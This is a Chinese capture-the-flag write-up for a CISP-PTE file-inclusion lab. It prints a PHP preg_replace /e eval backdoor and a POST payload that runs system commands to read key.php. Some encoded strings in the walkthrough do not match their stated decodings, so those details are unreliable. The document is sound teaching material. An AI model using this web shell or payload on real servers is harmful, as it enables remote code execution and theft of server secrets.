目录
(1)URL1:http://d215a4f1.clsadp.com/start/?file=view.html
(2)URL2:http://d215a4f1.clsadp.com/view.html
本文详细讲解CISP-PTE靶场文件包含关卡渗透测试的全过程。首先通过分析靶场页面发现存在文件包含风险,重点研究了view.php中的恶意代码执行机制,利用双重编码技术(Base64+正则匹配)实现远程命令执行,攻击者通过构造特定POST参数(Hello=1和z0=base64编码指令)渗透测试。文章详细拆解了攻击流程,包括参数构造、触发原理和命令执行路径,最终通过三种方法成功获取flag。该案例展示了文件包含安全风险的实际危害,以及攻击者如何利用代码执行获取服务器敏感信息。
一、渗透准备
1、打开靶场
打开靶场,页面提示"PHP文件包含的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。测试该网站可能存在的文件包含,尝试获取webshell,答案就在根目录下key.php文件中",具体如下所示。
http://d215a4f1.clsadp.com/

2、开始答题
点击开始答题,进入如下页面,发现start目录下应该有view.php
http://d215a4f1.clsadp.com/start/?file=view.html

3、查看view.php
通过文件位置方式访问view.php,具体如下所示。
http://d215a4f1.clsadp.com/start/view.php

右键查看源码,页面如下所示。

4、分析源码
接下来对view.html进行详细分析,其中 W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=
Base64 解码后为:[@eval(base64_decode($_POST[z0]));]
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
Hello
<br>
Are you ok?
PHP代码核心的功能是允许攻击者远程执行任意代码,对其进行详细注释。
<?php
// 使用 @ 操作符抑制错误,避免因变量不存在而产生警告日志,增加隐蔽性
// 从 POST 请求中获取名为 'Hello' 的参数值并赋给变量 $a
@$a = $_POST['Hello'];
// 检查变量 $a 是否设置(即判断攻击者是否发送了触发信号)
if(isset($a)){
// 这是后门的核心执行部分:
// 1. base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')
// 解码得到字符串: [@eval(base64_decode($_POST[z0]));]
//
// 2. preg_replace() 配合 /e 修饰符(已废弃的"执行"模式):
// - 正则模式 "/\[(.*)\]/e" 用于匹配方括号 [...] 及其中的全部内容
// - 替换内容 '\\1' 表示使用第一个捕获组(即方括号内的内容)
// - /e 修饰符使得替换内容被当作 PHP 代码执行
//
// 3. 实际执行流程:
// - 匹配到方括号内的内容: @eval(base64_decode($_POST[z0]));
// - 由于 /e 修饰符,这段代码被执行
// - 最终效果:解码并执行 POST 参数 z0 中的 Base64 编码的任意 PHP 代码
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZGNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
脚本通过双重编码技术隐藏恶意行为:首先检查是否存在"Hello"的POST参数作为触发开关,然后利用preg_replace函数的/e修饰符执行经过Base64编码的恶意指令。攻击者通过向"z0"参数传递Base64编码的PHP代码,即可在服务器上实现完全控制,包括执行系统命令、上传文件、窃取数据等恶意操作。
-
第一层 :通过
preg_replace的/e修饰符(已废弃但危险的"执行"功能) -
第二层 :执行解码后的 PHP 代码
[@eval(base64_decode($_POST[z0]));]
二、执行shell
1、base64编码
我们构造payload访问key.php,此时需要执行system('cat ../key.php');查看key值,对其进行base64编码,如下所示。

攻击命令system('cat ../key.php');被base64编码后为c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
|-------------------------------------------------------------------------------------|
| // 原始命令 system('cat ../key.php'); // Base64编码后 c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw== |
2、构造POST数据
接下来构造数据包使参数 Hello=1和z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==,也就是说我们需要构造如下Payload进行post。
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
- Hello=1 是后门的触发开关和认证机制 。这个参数的作用是激活隐藏在网页中的恶意代码,相当于用特定的"敲门声"告诉后门程序"我来了,请开门"。当攻击者向服务器发送包含
Hello=1的POST请求时,脚本中的isset($a)条件判断为真,从而启动后续的恶意代码执行流程。这种设计使得后门在平常看起来像是普通网页,只有知道这个特定信号的人才能唤醒它,既增加了隐蔽性又提供了简单的访问控制,确保不是任何人都能随意触发这个后门,同时为攻击者提供了一个稳定的入口点来操控受害服务器。 - z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw== z0参数是实际要执行的恶意指令的Base64编码载荷 。这个经过编码的字符串
c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==解码后对应的是PHP代码system('cat ../key.php');。当后门被Hello参数激活后,它会读取z0参数的值,进行Base64解码,然后通过危险的preg_replace的/e修饰符执行解码后的PHP代码。具体来说,system()函数会在服务器操作系统层面执行cat ../key.php命令,该命令会读取当前目录上一级目录中的key.php文件内容并将其返回给攻击者,这可能包含数据库密码、API密钥或其他敏感配置信息,从而造成严重的信息泄露安全事件。
3、执行攻击
开启burpsuite,同时浏览器代理指向bp,使用hackbar开启攻击,具体如下所示。
http://d215a4f1.clsadp.com/start/?file=view.html
POST数据:Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
Hello和z0两个参数构成了一个完整的攻击链:Hello参数负责"开门",z0参数负责"下达指令"。攻击者首先通过Hello=1认证身份并激活后门,然后通过z0参数传递经过编码的实际攻击命令。攻击效果如下所示,页面提示"Get it"!

4、攻击分析
接下来我们分析整个攻击流程
-
isset($_POST['Hello'])→ 返回true,触发后门 -
解码硬编码Base64 → 得到
[@eval(base64_decode($_POST[z0]));] -
preg_replace + /e → 执行
eval(base64_decode($_POST[z0])) -
解码攻击者的
z0参数c3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs=→ 得到system('cat ../key.php'); -
最终执行系统命令,返回结果
第1步:接收并检查触发信号
@$a = $_POST['Hello'];
if(isset($a)){
执行过程 :服务器收到POST请求,检查是否存在Hello参数。由于攻击者发送了Hello=1,条件判断为真,进入恶意代码执行分支。
第2步:解码硬编码的Base64
base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')
解码结果 :[@eval(base64_decode($_POST[z0]));]
第3步:正则匹配与代码执行
preg_replace("/\[(.*)\]/e",'\\1',"[@eval(base64_decode($_POST[z0]));]")
执行过程:
-
正则模式
/\[(.*)\]/匹配到方括号内的内容:@eval(base64_decode($_POST[z0])); -
由于使用了危险的
/e修饰符,匹配到的内容被当作PHP代码执行
第4步:解码攻击者指令
eval(base64_decode($_POST[z0]))
具体执行:
-
$_POST['z0']的值为:c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw== -
Base64解码后得到:
system('cat ../key.php');
第5步:执行最终系统命令
system('cat ../key.php');
实际效果 :在服务器操作系统层面执行cat ../key.php命令,该命令会:
-
定位到当前脚本所在目录的上一级目录(
../) -
读取
key.php文件的全部内容 -
将文件内容输出返回给攻击者
5、URL对比分析
本次攻击过程中,URL地址如下所示,我们称之为URL1。
http://d215a4f1.clsadp.com/start/?file=view.html
而view.html的正确访问网址如下所示,我们称之为URL2。
http://d215a4f1.clsadp.com/view.html
为何本次攻击使用URL1而没有使用URL2呢,详细分析如下所示。
(1)URL1:http://d215a4f1.clsadp.com/start/?file=view.html
start/ → 这是一个PHP脚本文件(如start.php或index.php) ?file=view.html → 通过参数传递要包含的文件名
执行流程:
-
服务器执行
/start/index.php(或类似入口文件) -
该脚本中存在文件包含代码,如:
include($_GET['file']); -
当
file=view.html时,服务器会包含并执行view.html文件,,服务器会将view.html当作PHP脚本执行(view.html文件中包含后门代码)
(2)URL2:http://d215a4f1.clsadp.com/view.html
view.html → 直接访问HTML文件
为什么不行:
-
如果直接访问
view.html,大多数Web服务器会将其作为静态文件处理 -
静态HTML文件中的PHP代码不会被执行,只会以纯文本形式显示在浏览器中
-
后门代码就失去了作用,攻击无法进行
三、获取flag
1、方法1:右键元素查看flag

2、方法2:右键源码查看flag

3、方法3:bp查看key
在burpsuite 中找到该报文,观察response ,如下所示可以查看到flag 。
